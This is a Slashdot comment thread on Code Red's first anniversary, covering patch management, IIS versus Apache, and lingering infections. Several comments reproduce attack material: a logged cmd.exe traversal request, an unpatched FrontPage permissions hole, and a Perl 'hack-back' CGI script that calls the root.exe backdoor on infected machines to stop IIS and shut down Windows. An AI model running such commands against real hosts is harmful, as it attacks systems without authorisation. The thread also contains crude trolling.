    Seriously, though, it also taught the company I work for a serious lesson about staying on top of this kind of stuff. We had just finished a 2 month project to secure our web servers, but we were still bound by our traditional change management processes - 7 days notification for an outage, and testing of all changes documented and submitted for approval in advance. At the time Code Red hit, I had sent a note saying "we've really got to get this hotfix applied", but we were bound by the process, and we got burned.

    Needless to say, when an urgent hotfix comes out now, it takes almost no convincing to get it applied ASAP. If it breaks a web app or two, well, that's the risk we take. We'd rather look for signoff from the business to unapply a hotfix that breaks something, than spend a few days trying to secure the approval beforehand. It's a lot cheaper in the long run to troubleshoot the effects of a hotfix that has unintended side effects than it is to watch your entire web farm get demolished by a worm.

    Yes, we run IIS, and I suppose you could harp about how this could all be avoided by running Apache, but the point is that without a policy, strategy, and process for rapidly deploying defenses against net-born attacks, no system is invulnerable.

    1. Re:Well, at least it was good pizza that night... by Anonymous Coward · · Score: 0
      Yes, we run IIS, and I suppose you could harp about how this could all be avoided by running Apache, but the point is that without a policy, strategy, and process for rapidly deploying defenses against net-born attacks, no system is invulnerable.

      Well, just name one virus spread through the apache servers for more than one year without being eradicated...

    2. Re:Well, at least it was good pizza that night... by Anonymous Coward · · Score: 0

      We really couldn't car less, dude. Go eat ice cream.

    3. Re:Well, at least it was good pizza that night... by Anonymous Coward · · Score: 0

      Mmmm... ice cream.

    4. Re:Well, at least it was good pizza that night... by SClitheroe · · Score: 2

      I think you've missed the point of my post. Whether it's IIS, Apache, WU-FTP, SSH, BIND, SendMail, whatever, if you don't keep on top of the current issues for the services you run, and if you don't have an effective plan to handle the management, oversight and timely maintenance of those systems, you will end up getting burned at some point.

      It's not about how frequently exploits and/or fixes arise for the particular services you run - it's all about how quickly and effectively you can deploy defensive measures, and that ultimately comes down to the human element.

    5. Re:Well, at least it was good pizza that night... by 1g$man · · Score: 2

      but we were still bound by our traditional change management processes - 7 days notification for an outage, and testing of all changes documented and submitted for approval in advance.

      Well corporate policy or not it's pretty freakin' irresponsible for not having a security patch that was out more than 25 days before Code Red even hit. (Not to mention anyone who followed Microsoft's best practices for IIS wouldn't have been hit anyway).

      Apache, IIS, MSSQL, PHP, BIND, OpenSSH--it doesn't matter... they all gotta be patched.

    6. Re:Well, at least it was good pizza that night... by Tony-A · · Score: 2

      It's not about how frequently exploits and/or fixes arise for the particular services you run - it's all about how quickly and effectively you can deploy defensive measures
      It's not about how many people are shooting at you, it's all about how quickly you can duck.

    7. Re:Well, at least it was good pizza that night... by thogard · · Score: 1

      Has anyone ever seen a patch for the current apache problem? What happens to thouse people that download all the new sources but they don't compile? How many of thouse people are still running open systems right now?

    8. Re:Well, at least it was good pizza that night... by Anonymous Coward · · Score: 0

      riding skateboards around the corporate HQ at 2:30am in the morning...

      As opposed to 2:30am in the afternoon?

    9. Re:Well, at least it was good pizza that night... by SpaceJunkie · · Score: 2, Interesting

      Except there are patches I would be a little careful with as well. If you choose to run XP, there is a patch that makes the Guided Mode available through Nat and firewalls - tunneling effectively. Surely if someone has these in place- they sure as hell dont want such an obvious hole wide open...

      I sometimes use VNC - but restrict it through a firewall so only a specific IP(my work PC) can communicate with it, in specific timeframes. It also does not run as default - I use SSH to start it, also Ip filtered and time restricted. Which I think is all possible in windows as well(have not tried that). Oh - And it does not run as ROOT. I restrict root to console only.

      You see the other problem is that XP and 2k may well be running security vulnerable services without the user knowing -as default setup. Which is why XP is so bad as a joe user OS- it has more security holes than my socks...Unless you are competant to configure and patch it - and lets face it even many trained MIS staff miss them - let alone Joe Shmoe Wordprocessor who bought an XP box from PC world.

      --
      OrionRobots.co.uk - Robots From sol
    10. Re:Well, at least it was good pizza that night... by Ben+Hutchings · · Score: 2

      Sure, I've seen a patch. I've also seen announcements of new binary packages from vendors that package it. What more do you want?

    11. Re:Well, at least it was good pizza that night... by thogard · · Score: 1

      I want the patch someplace where I can find it on www.apache.org. Thats what I want.

    12. Re:Well, at least it was good pizza that night... by thogard · · Score: 1

      Its right where it belongs...

      http://httpd.apache.org/

  13. Re:Is this Necessary? by casings · · Score: 0

    trollio trollio go back to ur homio.

    this is just nostalgia, a good reminder of what piss poor security can do to the internet.

  14. Animation Mirror Sites by morcheeba · · Score: 5, Informative
    1. Re:Animation Mirror Sites by psocccer · · Score: 2

      I don't know why the original poster didn't list the mirror information, after all the gif has the site name printed on it, but oh well. The mirrors are a lot faster, and I think it should be pointed out that the gif is 4.1M and the mov is 13.4M

    2. Re:Animation Mirror Sites by AaronMB · · Score: 1

      Here's one that isn't 4 megabytes in size. 190k animated gif. Hopefully the server can handle it ;). It moves slower than the original, but other than that it's the same
      -Aaron

  15. Happy Birthday? by SoupaFly · · Score: 4, Insightful

    What exactly are we supposed to celebrate? The inept SAs that have failed to patch their systems? The sad lack of software development skills and abundance of corporate greed that combine to push shoddy software upon millions of users?

    Maybe we should celebrate the resiliency of the Net. The fact that while attacks on systems continue to come daily, and at a seemingly increasing rate, everything still works most of the time.

    --knowledge, not information, is power

    1. Re:Happy Birthday? by DeepZenPill · · Score: 1

      No, we're supposed to be praising the genius who created the virus. Take note kids, write a big pain in the ass virus and it will be celebrated even a year after its release!

    2. Re:Happy Birthday? by vondo · · Score: 5, Funny
      What exactly are we supposed to celebrate?
      Ahh, a young person who thinks "birthday" == "celebration." How wrong you are. Wait 'til you hit 30 or 40, my friend.
    3. Re:Happy Birthday? by DeepZenPill · · Score: 3, Insightful

      I think the belief that birthday == celebration in each age group is represented with a bell shaped curve. Shit, when I'm 89, senile, and living in my own filth, my next birthday will be a celebration for me. That much more closer to escape!

    4. Re:Happy Birthday? by Anonymous Coward · · Score: 0

      >You like getting cocks stuffed in your ass, dont you?

      Roosters up my ass...

      My, what will the trolls think of next!

    5. Re:Happy Birthday? by Strike · · Score: 1

      Is it so wrong to assume that "happy" == "happy"?

    6. Re:Happy Birthday? by yatest5 · · Score: 1, Troll

      What exactly are we supposed to celebrate?

      Nothing really, it's just a sad lame excuse for the /. editors to troll all the standard 'MS is hit, IIS is shit' responses.

      NEWS FOR NERDS - 'one year ago, this happened' - LAME AS FUCK.

      --
      • Mod parent up! [a] by Anonymous Coward (Score:5) Thurs, June 31, @13:37
    7. Re:Happy Birthday? by Anonymous Coward · · Score: 0

      Damn right.

      Only cowards fear death, for it is something no one may prevent.

      Plus the entire senile/living in filth thing doesn't sound to appetizing.

  16. I have to know... by I+Love+this+Company! · · Score: 1

    You you have a liscense for that GIF?

    --

    "All art is quite useless." -- Oscar Wilde
  17. Power of slick advertising by Tyreth · · Score: 1

    It's amazing how Microsoft on their IIS website can make an inferior product look so nice, friendly, usable and safe - when there is a free alternative that lacks the slick advertising but that is a much superior product, especially in security.

    Linux is a safe haven. It's like that story from church about building your house on the rocks rather than the sand, so that when the tide rises you will be safe. Or like people who built a bomb shelter. Or like those who painted their doors with lamb's blood so the angel of death would pass over their house and not kill the first-born son.

    I am immortal! The tide of red sweeps daily over the internet and I didn't even get my shoes dirty!

    Just a side note, if anyone ever came up with a virus that was as devastating to apache as code red was to IIS, I think Linux would be doomed. If you expect something to fail (Microsoft products) then you don't care too much when they do. But if a product is touted as being absolutely secure and stable (Linux/Apache) then when it does screw up big, it will probably be it's death. The higher up you are, the further you have to fall.

    1. Re:Power of slick advertising by blincoln · · Score: 1

      I see a new ad campaign... "UnitedLinux: You've never seen a way of painting lamb's blood on your doorway like this."

      =)

      --
      "...always new atoms but always doing the same dance, remembering what the dance was yesterday." -Richard Feynman
    2. Re:Power of slick advertising by 1g$man · · Score: 3, Insightful

      If you think Linux is a "Safe Haven" then you're just asking for your ass to be handed to you.

      If you think you can put ANY server up on a public network and not maintiain it--you WILL be in for a rude awakening one day.

    3. Re:Power of slick advertising by Tyreth · · Score: 1

      Oh yeah, I'm aware of that, but it's just that out of the box linux is a lot safer than than IIS or winserver.

      I maintain a server, and am well aware that I need to upgrade it as security flaws are announced.

    4. Re:Power of slick advertising by _Sprocket_ · · Score: 4, Insightful

      Just a side note, if anyone ever came up with a virus that was as devastating to apache as code red was to IIS, I think Linux would be doomed. If you expect something to fail (Microsoft products) then you don't care too much when they do. But if a product is touted as being absolutely secure and stable (Linux/Apache) then when it does screw up big, it will probably be it's death. The higher up you are, the further you have to fall.
      Tnere has to be some fundimental shifts in the environment for this to happen. You see - Linux (and Solaris) have had their own worms around the same time period as Code Red. They could have been just as devistating - but they weren't. They died quickly and went away.

      Of course - that's not to say it can't happen to Linux in the future. Some changes that would have to take place would include:

      1) An increase in un-administered machines (which is possible as more Linux machines go in to service and are promptly forgotten about or appropriate support stuff aren't also put in place).

      2) More distributions installing services by default without user knowledge (which most distros seem fairly resistant to doing - but not all).

      3) Patches that become as devistating as the security threat they attempt to mitigate (I've yet to see this and would think that any organization that constantly produced dangerous patches / replacement packages would find their user base fleeing to another distribution).
    5. Re:Power of slick advertising by actiondan · · Score: 2

      Linux is a safe haven.

      Just a side note, if anyone ever came up with a virus that was as devastating to apache as code red was to IIS, I think Linux would be doomed.

      What about the Apache vulnerability that was discoverd a couple of weeks ago? I would think there are still loads of people who haven't patched their servers (and even the patch does not give full protection. See the advisory).

      Microsoft are addressing the issue of applying patches to products such as IIS with features that remind system admisitrators about new patches and automate the process of applying them.

      I really think that open source systems such as Apache will need to have features like these if they are to compete strongly.

      If Code Red taught us one thing, it was that the application of patches is as important as the patches themselves (MS released a patch that prevented Code red infection months before the outbreak)

    6. Re:Power of slick advertising by Anonymous Coward · · Score: 0

      > 1) An increase in un-administered machines (which is possible as more Linux machines go in to service and are promptly forgotten about or appropriate support stuff aren't also put in place).

      "Lindows"? Did I hear someone say "Lindows"?..

  18. author correction by morcheeba · · Score: 1

    whoops.. credit where credit is due: Jeff Brown did the animation based on the paper (linked above) by David Moore.

  19. Lazy by ShishCoBob · · Score: 1

    The fact that Code Red is still running around the way it is proves for a fact that we, as human, are just lazy.

    --
    http://www.maximum-cars.com - My little hobbie.
    1. Re:Lazy by intermodal · · Score: 1

      no...the fact that Code Red is still running around proves that 1) people didn't learn from this and use something more secure, and 2) unless people actually install working service packs (if they ever release), it won't matter in the end whether they get patched anyway since the average windows server is usually run by someone echelons below the average professional Unix admin.

      --
      In SOVIET RUSSIA... erm...NSA AMERICA, the Internet logs onto YOU!
    2. Re:Lazy by Anonymous Coward · · Score: 0

      Speak for yourself man... I'm not human

  20. The animated image is getting hit pretty hard by mr_exit · · Score: 1

    Can someone set up a mirror or two before we loose it please??

    --

    -------
    Drink Coffee - Do Stupid Things Faster And With More Energy!
  21. IRC quotefile entry by Skreech · · Score: 5, Funny

    From the official #python@OPN quotefile:

    <skreech> I'm gonna miss code red when its gone, my webpage has never gotten this many hits before

  22. I hope us Americans aren't still crying over 9/11 by Anonymous Coward · · Score: 0, Offtopic

    I find it horribly absurd that Americans are still whining and crying over 9/11. Every time I turn on the television, its 9/11 this and 9/11 that. Its gotten to the point that even things that are completely worthless are somehow connected to 9/11. For example, someone told me that they will only shop at the cheaper non-brandname clothing stores because of 9/11. I asked them what 9/11 had to do with it and the response was a shrug. I hate the fact that people are running around like scared sheep. Everywhere I look, more "public security" is shown but in the end I don't think this will change anything. People have let there destroyed egos of yesteryear that chanted "America the strong and invincible" have made way for the public to curtail their freedoms for the desire of security. What they do not realize is that the freedoms we are given in this country aren't just for the good times but also for the bad times. I mean, an anology can be made that a 'friend in need is a friend indeed' because what matters more is not how much freedom (or in this case friends) we have, but how much freedom (or friends) we have when times are tough. People like Ashcroft should be taken out of office and charged with allowing the destruction of civil liberties. I'm sure its even worse for our fellow Americans who may happen to look like Middle Easterners or may be Muslim since the floodgates of racism and prejudice are wide open. First it was the Japanese and I'm pretty sure Muslims and anyone resembling a Middle-Easterner will be next to go through that.

    I guess your post touched a nerve. Sorry for the rant, but come September 11th this year, I hope I don't see a story on Slashdot. What our country needs to do is look to ourselves and understand what we may be doing wrong in the world for people to hate us so much. Those interested in a history lesson can come back later when I feel like typing some more.

    Long live a free and just America in a happy and just World.

  23. Lots of infected hosts still out there by ActMatrix · · Score: 4, Interesting

    DShield's Code Red Anniversary Page has an interesting graph showing scanning activity they've detected from active hosts since the beginning of this year. Some 35,000 IPs still continue to regularly come alive around the beginning of the month, quiet down towards the middle, and then resume the cycle again - the numbers have remained remarkably consistent.

    1. Re:Lots of infected hosts still out there by Skuld-Chan · · Score: 1

      I took stats about 6 months ago. I found that on average zombied MS Windows machines waste about 100-120 megabytes a day on my cable connection.

      To this day I can still type tail -f /var/log/apache/error.log and get

      [Thu Jul 18 22:27:35 2002] [error] [client 12.231.80.38] File does not exist: /v
      ar/www/scripts/..%2f../winnt/system32/cmd.exe

      almost steadily. I've always wondered collectively if this would affect network performance world wide.

    2. Re:Lots of infected hosts still out there by xtremex · · Score: 1

      Hmmm..so THESE incompetent "professionals" are still working, while, I am not? Never ceases to amaze me..

      --
      If you're not a Liberal in your 20's, then you have no heart.If you're still a Liberal in your 30's you have no brain.
    3. Re:Lots of infected hosts still out there by dimator · · Score: 2

      This is just my machine, not used for anything except random hacking, but:

      # echo "`grep cmd\.exe access_log | wc -l` / `wc -l access_log | sed 's/[^0-9]//g'`" | bc -l .81350976916651386427


      All that wasted bandwidth...

      --
      python -c "x='python -c %sx=%s; print x%%(chr(34),repr(x),chr(34))%s'; print x%(chr(34),repr(x),chr(34))"
    4. Re:Lots of infected hosts still out there by phoenix123 · · Score: 0

      # echo "`grep cmd\.exe access_log | wc -l` / `wc -l access_log | sed 's/[^0-9]//g'`" | bc -l .81350976916651386427

      that shows very good what is so wrong with linux today.

  24. All of this kvetching about bad sysadmins, and yet by billbaggins · · Score: 1
    So pretty much everyone can see from this that there are still people who have no fscking clue about maintaining security, yes?

    And yet, just a few discussions down the /. front page, there's this massive collective rant, questioning the gov't's motive in releasing something that they claim is designed to help secure people's boxen. If the gov't software were just to stop code red and nimda from moving so fast, wouldn't that qualify as "public interest" enough for them to do that, just out of the goodness of their hearts?

    Apologies for twisted grammar of preceding para. /me needs sleep, badly!

    --
    "The best argument against democracy is a five minute chat with the average voter."
    --Winston Churchill
  25. The image is... by timecop · · Score: 0, Informative

    4,375,130 bytes long.
    It's either really detailed or someone wanted to play a dirty trick on the admin.
    I'm still downloading it, at about 1.5k/second. :)

  26. Alternate URL for animated image by totallygeek · · Score: 3, Informative
    1. Re:Alternate URL for animated image by tedDancin · · Score: 1

      And how fitting that on the anniversary of an attack which paralyzed servers dead in their tracks, we hear the far-away screams of agony from the lone sysadmin of Missing Left Socks [missingleftsocks.com] as 100,000 slashdotters pillage his machine simultaneously.

      .. and now that's 200,000 slashdotters pillaging 2 machines simultaneously. (:

      --

      Ladies, form queue here -->
    2. Re:Alternate URL for animated image by Com2Kid · · Score: 1

      Properly optimized that is a 29Kilobyte file (well that versiont hat appears to be corrupt, but what I /can/ get from it, the 351KB, I can reduce down to 29KB)

      Why do you have it up at more then 10x the size it needs to be?

    3. Re:Alternate URL for animated image by millette · · Score: 0, Redundant

      http://tools.waglo.com:8888/codered.wmv for a quick and dirty conversion. I think it's mpeg4 now - did it with windows media encoder. Let me know how well it works. You might have to right-click, shift-click, wait-click to get the video instead of binary goo in your browser. Like I said, it's a quick and dirty convertion. Oh, and it's 400k, little more manageable. I'm only going to leave it temporarely up though.

    4. Re:Alternate URL for animated image by millette · · Score: 2, Informative

      not sure which image you got. I was able to download the 4.2 GiB file and converted that to a mpeg4 (overkill, but I don't have anything to mess with gifs, I just recorded a "playback"). I've put the 400 KiB result here, if anyone is interested: http://tools.waglo.com:8888/codered.wmv if anyone is interested. Oh, you're gonna have to right-click, shift-click, whatever you have to do to download it. Like I said, it's just a quick and dirty job, and I'm not gonna leave it up longer then I have too.

    5. Re:Alternate URL for animated image by hublan · · Score: 1

      Here [12.18.95.130]

      That didn't take long.

      Fear the Slashdot Effect(tm) !

      --
      My spoon is too big.
    6. Re:Alternate URL for animated image by Com2Kid · · Score: 1

      I beat you out, I got it as a 161KB GIF image. :-D

      Hint: Count the colors in the image, there are only five used!!!

      Link

    7. Re:Alternate URL for animated image by millette · · Score: 1

      Thanks, I just did the conversion really quick without giving it any thought. In fact, I even had to move the file after posting here - I got like 200 downloads in 45 minutes or so - ouch!

    8. Re:Alternate URL for animated image by Com2Kid · · Score: 1

      Heh, one time I did an 800x600 animated GIF, really nifty like, started with a true color source and all.

      I wanted anybody to be able to view it, so GIF it was. Suffice to say I learned a lot about how to best compress GIF files after that. :-D For all the licensing flak it receives, the GIF format itself is very flexible and nifty.

    9. Re:Alternate URL for animated image by millette · · Score: 1
      Thanks, I just did the conversion really quick without giving it any thought. In fact, I even had to move the file after posting here - I got like 200 downloads in 45 minutes or so - ouch!

      I got 1000 hits in all for it, and after moving it, only 73 people passed the iq test. I'm impressed :)

      And yes, this is probably a duplicate post (well, not this paragraph obviously) - something "happened". Talking about iq...

  27. Re:appreciation by Anonymous Coward · · Score: 0
    ACs shall overwhelm you like small, bitings ants. Sux0r.

    -Mode0x13

  28. Looking at my records by Neolithic · · Score: 2, Insightful

    June 18, 2001 14:29:28 -0700
    Microsoft Security Bulliten MS01-033

    June 18, 2001 14:36:53
    q300972_w2k_sp3_x86_en.exe

    When did Code Red hit? Did I bother to notice? Did I bother to record? No. It didn't affect me much.

    1. Re:Looking at my records by Strike · · Score: 1

      Then either you or Slashdot is off by a month, chumley.

    2. Re:Looking at my records by 1g$man · · Score: 3, Insightful

      No, he's pointing out that the patch was available a full month before the worm hit.

      A full month.

      And, being a competent admin, his boxen weren't hit.

    3. Re:Looking at my records by Neolithic · · Score: 1

      No, Slashdot is quite right, or at least quite close. As well as my own dates/times.

      The point I wish to make is that this shouldn't have been as big of a problem as it was. That's not to say it's all because of incompetent admins. That's not to say it's all because of incompetent Microsoft.

      Something went horribly wrong when there was a month between the patch and the first sightings of an exploit. And a considerable amount of time as a relatively benign exploit at that. Hopefully both sides of the fence, as well as the rest of the industry, can learn from this embarassment can develop and establish both the technical and political aspects of effective security.

    4. Re:Looking at my records by spongman · · Score: 5, Informative
      no, he's right:

      6/18: MS sends MS01-33: Unchecked Buffer in Index Server ISAPI Extension Could Enable Web Server Compromise - Run code of attacker's choice.

      7/18: CodeRed hits, those of us who installed the MS01-33 patch laugh.

      7/30: MS et al send out another alert uring people to read MS01-33 and install the patch.

    5. Re:Looking at my records by spongman · · Score: 2, Insightful
      yup, I think this says two things:

      1. (most) IIS sysadmins are a bunch of lazy/ignorant fools who needed to get their backsides kicked to get them to heed the MS-SEC mailings.
      2. the worm writer did an excellent job.
    6. Re:Looking at my records by the_bikeman · · Score: 0

      Oh, and people like me make a killing fixing the problems once the worm has hit! It's a love-hate relationship, lets face it.

    7. Re:Looking at my records by xtremex · · Score: 1

      However, I guarantee those guys still have a job somehow..or, they didn't add that mistake to their resume ;) If it was MY fault that my entire company's network was completely trashed, I couldn't, in good conscience, call myself a professional anymore...Just like if it was my doctor's fault for completely trashing my body ;)

      --
      If you're not a Liberal in your 20's, then you have no heart.If you're still a Liberal in your 30's you have no brain.
    8. Re:Looking at my records by Anonymous Coward · · Score: 0

      Thank you for pointing that out. I've been saying it ever since it first hit that MS put out the patch a full month before the damn thing hit. Of course, anyone following best practices wouldn't have even needed to bother as the component that's affected shouldn't have even been installed. AND, if they'd setup the permissions on their folders properly, even if they had an unpatched server but containing the affected component, they wouldn't have been affected. As with any OS, security is only as strong as the meatware connected to it.

    9. Re:Looking at my records by sheldon · · Score: 2

      Or they were like me and had removed the .ida ISAPI filter from their web server config, as identified in Microsoft's IIS checklist which had come out nearly a year previous.

      Didn't apply the patch when it came out, and still didn't have any issues when CodeRed hit.

    10. Re:Looking at my records by Anonymous Coward · · Score: 0

      7/18: CodeRed hits, those of us who installed the MS01-33 patch laugh.

      Yeah, but those of us running Apache laughed even harder.

  29. Dial-up by Anonymous Coward · · Score: 0

    On my dial-up account I still get a average of 40 hits a day. So this consumes a greater percent of my overall bandwith, which keep me from downloading 40% more pr0n.

  30. times out by bilbobuggins · · Score: 5, Insightful
    To really appreciate the spread of this program, look at this animated image.

    Is it slashdotted or is that the demonstration?
    ;)

  31. My school district's by DMDx86 · · Score: 5, Informative

    Server is still infected with a IIS virus (though not Code Red). Here it is

    I sent them an email - almost a year ago in fact. They just brushed me off and gave a rather pathetic excuse ("the box is too slow to run Norton").
    You can read the e-mail here.

    Of course, these are the same people who run a trouble ticket server on the district wide WAN that any old joe at school can access and see where the security issues are.

    1. Re:My school district's by Qnal · · Score: 3, Informative

      Weird, I found a sadmind/IIS worm infection on Texas Community college website, I sent an email to the administrator but never got a reply back. I checked and its fixed now though.

      Another rampant problem with IIS that is still VERY VERY widespread is older Servers IIS 4.0 mainly, and some 5.0, that have FrontPage extensions installed, have botched NTFS permissions on the "Front Page Web".

      I don't know if anyone has noticed this, but if you have Microsoft Front Page installed on your browser, a little button shows up on your Internet Explorer toolbar, the default is usually the Word Icon, as in edit this page with Microsoft Word, but if you have Front Page installed on your computer, you can select Edit with FrontPage, and FrontPage will attempt to communicate with the Web Server for remote authoring, now if this web server is an IIS server, and has Front Page Extensions installed for remote authoring, and the NTFS permissions have not been set correctly, it will give you, the IUSR_ (Internet User) account FULL Priveleges to change the "Front Page web".

      As of now, I know 3 high profile companies who have this issue with their sites WIDE OPEN. Anyone can waltz in and alter their website, using the IUSR_ account. I would like to let them but how do I know they are not going to accuse me of something I didn't do, and just happened to stumble on.

      Oh well.

    2. Re:My school district's by DMDx86 · · Score: 2

      FWIW, I sent this to the superintendent several months ago (this was several months after I notifed the webmaster people who dropped the ball). All they did was 403 the /images (which contained the defacement), but it still is in other directories. That was because it was /images that I sent them the link to. I just love MCSEs!!

    3. Re:My school district's by shepd · · Score: 2

      Heh, think that's bad?

      You'd be amazed at the places still running old apache versions despite the ominous warnings!

      (Yes, I found the lwn link very ironic too, but not as funny as this)

      --
      If you could be told what you can see or read, then it follows that you could be told what to say or think - BoC
    4. Re:My school district's by DMDx86 · · Score: 2, Informative

      There is an Apache fix that will patch the older versions of Apache. That is what I did on my webserver.

    5. Re:My school district's by Anonymous Coward · · Score: 0

      > There is an Apache fix that will patch the older versions of Apache. That is what I did on my webserver.

      Sigh... nothing gets past you, does it?

      MW

    6. Re:My school district's by benh57 · · Score: 1
      Um, is that a real email? Hilarious quote from the email:

      p.s. we have no intention of switching to some non-standard crazy web server like apache.) We are an all nt shop - i love nt i love bill

    7. Re:My school district's by DMDx86 · · Score: 2

      I can assue you that is a real e-mail from a Fort Bend ISD tech.

      I remember microsoft.com had a quote from a guy who was the head IT person over in FBISD on how MS software really made things wonderful for the students and staff members. The guy's name was something Pike. I don't think he works here anymore. If I find the page, I'll post the URL.

      The guy's name (in the email) is Doug Wormhoudt. I just removed the e-mail addys as a temporary precaution.

      FBISD is a 100% NT shop, though I know they have an AS/400 for student records and someone "in the know" tells me that they have a linux machine sitting on the network.

      For the record, I don't have any interest in trying to break into these systems. (Since I know someone will try to accuse me of).

    8. Re:My school district's by dsb3 · · Score: 2

      In addition to apache code patches there is a module mod_blowchunks, and also a perl handler (also named blowchunks) that will nullify the attempts.

      Plus, some proxying firewalls (raptor happens to be one) will prohibit the dangerous requests from being passed through to apache. For that matter, a patched apache with a mod_proxy redirect to the original webserver will protect, but pass through the original server's ident string.

      Just looking at an advertised daemon version identifier is never enough to tell if it is vulnerable.

      --

      Slashdot? Oh, I just read it for the articles.
    9. Re:My school district's by Anonymous Coward · · Score: 0

      Check the website now, seems they have been h@>0r3d

    10. Re:My school district's by Pig+Hogger · · Score: 2
      For the record, I don't have any interest in trying to break into these systems. (Since I know someone will try to accuse me of).
      I am not a crook

      November 17, 1973

    11. Re:My school district's by actiondan · · Score: 2

      There is an Apache fix that will patch the older versions of Apache. That is what I did on my webserver.

      You might want to check out the advisory

      Apache don't seem to think that the patch is really enough (emphasis mine):

      "Note that early patches for this issue released by ISS and others do not
      address its full scope.
      "


      "The Apache Software Foundation has released versions 1.3.26 and 2.0.39
      that address and fix this issue, and all users are urged to upgrade
      immediately
      ."


      The Apache http server page also adds:

      "If, for any reason, you are unable to upgrade at this time, as a minimum, this patch for httpd 1.2.0-1.3.22 should be applied to the source code."

      Apache webmasters beware: Don't fall into the trap that IIS webmasters fell into. If you fail to address security issues like this fully, you could end up making your webserver of choice look bad.

    12. Re:My school district's by jonestor · · Score: 1

      Sending them an anonymous e-mail should do the trick.

    13. Re:My school district's by Anonymous Coward · · Score: 0
      Ooh, I love what it says now (17:00 PST):
      f**k CHINA Government
      f**k PoizonBOx
      contact:sysadmcn@yahoo.com.cn
      Maybe they'll fix it?
      G
      PS. I assume, of course, it didn't always say that...?
    14. Re:My school district's by DMDx86 · · Score: 2

      Yes, it was showing that all along.

  32. Troll? HE HAS A POINT!!!! by Anonymous Coward · · Score: 0

    Don't you get it?

  33. im gonna sing by hagar� · · Score: 2, Funny

    "Happy Birthday Code Red, Happy Birthday Code Red, Bill sucks with his coding, Happy Birthday Code Red."

    Now blow out the flaming servers, and make a wish.

    --
    Insert something insightful here, or I'll insert something painful there.
  34. I still have my fake default.ida by Anonymous Coward · · Score: 0, Troll

    Back when code red started causing havoc to IIS web servers, a group came out with a nice perl script that would shut down IIS, as well as the OS. Since IIS was wide open at this point, it would send ..

    http://$ENV{REMOTE_ADDR}/scripts/root.exe?/c+iis re set+/stop
    http://$ENV{REMOTE_ADDR}/scripts/root.e xe?/c+rundl l32.exe+shell32.dll,SHExitWindowsEx+5

    1. Re:I still have my fake default.ida by FueledByRamen · · Score: 2, Informative

      I just knocked together this perl script to send
      those items out, run it as a CGI script. Any
      comments / suggestions? WARNING: I'm still learning perl... this could be (is?) ugly!

      #!/usr/bin/perl
      # This is a CGI script. Properly linked from your
      # web server, it turns around and issues commands
      # to a code red-infected server that is trying
      # to kill your server. Make $YOURSERVER/default.ida run
      # this CGI script, and watch the other server stop its
      # IIS service and shut down windows.

      use LWP::Simple;
      my $incoming;
      my $request;

      print "HTTP/1.0 200 OK\n\nBeginning rooting of your code-red-infested box...\n";
      print "This could look weird on your logs if you're not infected and just poking around.\n\n";

      $request = sprintf("http://%s/scripts/root.exe?/c+iisreset+/s top",$ENV{REMOTE_ADDR});
      $incoming = get $request;
      print "\n", $request, "\n\n", $incoming, "\n\n";

      $request = sprintf("http://%s/scripts/root.exe?/c+rundll32.ex e+shell32.dll,SHExitWindowsEX+5" ,$ENV{REMOTE_ADDR});
      $incoming = get $request;
      print "\n", $request, "\n\n", $incoming, "\n\n";

      #Obligatory /. reference
      print "YHBT. Have a nice day.\n\n";

      --
      Every cloud has a silver lining (except for the mushroom shaped ones, which have a lining of Iridium & Strontium 90)
    2. Re:I still have my fake default.ida by DeadSea · · Score: 4, Insightful
      Notice that the parent post ends with "YHBT".

      That stands for "You have been trolled".

      The perl script is a troll, it won't work, I can't believe this got modded up.

    3. Re:I still have my fake default.ida by pkphilip · · Score: 1

      This script didn't work for me. The server still hasn't gone down.

    4. Re:I still have my fake default.ida by fire-eyes · · Score: 1

      I can on slashdot. The intellegence/clue level of slashdot users has always been high, but I do beleive it's been dropping consistantly.

      I blame it on mandrake users. /me runs!

      --
      -- Note: If you don't agree with me, don't bother replying. I won't read it.
    5. Re:I still have my fake default.ida by peterpi · · Score: 0
      Fake it may be (I've not tried it), but it did get me thinking... Given that the machine trying to attack your apache box is infected, surely it would be possible to shut it down via a cgi script.

      I'm sure it would be legal too, as long as you didn't actually delete any data on the Windows box, you could claim that you acted in self defence.

    6. Re:I still have my fake default.ida by FueledByRamen · · Score: 1

      No, that reference is printed out and sent to the server that's requesting default.ida. It doesn't mean that the perl script is a troll. I don't have any code-red infested boxes to test it on, so I can't tell if it works. If you want to run it independently, replace the $ENV{REMOTE_ADDR} with the IP address (or hostname) of your "target", enclosed in quotes.

      --
      Every cloud has a silver lining (except for the mushroom shaped ones, which have a lining of Iridium & Strontium 90)
    7. Re:I still have my fake default.ida by WickerChap · · Score: 1

      Fake or not, if they haven't patched IIS already then they are probably too clueless to not worry unduly about their box powering off. They'll just power it back on, and not check the IIS logs or the system event viewer to see WTF was going on.

      --
      "I love deadlines. I love the wooshing sound they make as they fly past" Douglas N Adams
  35. No mac web os9 or older servers EVER exploited ! by Anonymous Coward · · Score: 0

    No mac web os9 or older servers EVER exploited in history despite several different large challlenges with 10,000 dollar prizes.

    Bugtraq shoes no exploits of a mac server running a non unix OS and only WebStar webserver, or other webservers.

    One time a combinations of two crappy third party tools created a minor exploit but no exploits exist in mac servers... NONE.

    Is that not interesting?

    The reasons are technical and have a lot to do with archetecture (stack return address, c string usage, no command line, special dual fork executables, lack of file extensions under user control, etc)

    nobody likes to hear the truth, but the usarmy had enough of bsd abd linux and nt and used macs for some of its servers to prevent embarrassment.

  36. Argh by Myuu · · Score: 3, Interesting

    No one ever notes that the CRW absolutely rape cisco dsl routers.

    At its peak, Qwest had a 5 hour hold time for people who's cisco was taken down by the vuln.

    Incidently, the fix was killed more routers.

    --

    forget it.
    1. Re:Argh by Anonymous Coward · · Score: 0

      Wot?

    2. Re:Argh by jhirbour · · Score: 3, Interesting

      For that matter all the Netopia R 7100/7200 series were brought to a halt by CR also....

    3. Re:Argh by Com2Kid · · Score: 1

      No one ever notes that the CRW absolutely rape cisco dsl routers.

      Well yah, but like half of the entiring networking IT industry relies on Cisco Routers getting fsked up all to hell, so nobody is complaining there. :-D

      Nobody legit makes money off of unsecured servers though. . . .

    4. Re:Argh by thrig · · Score: 2

      Unless one had an old Crisco 675 set to bridging mode, despite QWurst's best efforts to get one to use the brain-dead NAT mode they have all the new routers set to...

      Oh, and some HP printers were unhappy about Code Red or Nimda; turns out they run a webserver by default (and FTP, telnet, LPD, JetDirect, and lord only knows what else) that got screwed up before any access control took place. Yay firmware updates.

    5. Re:Argh by loraksus · · Score: 2

      Heh, you worked qwest dsl support too eh?
      I kept a record of cisco 67xs toasted - 78.
      u?

      --
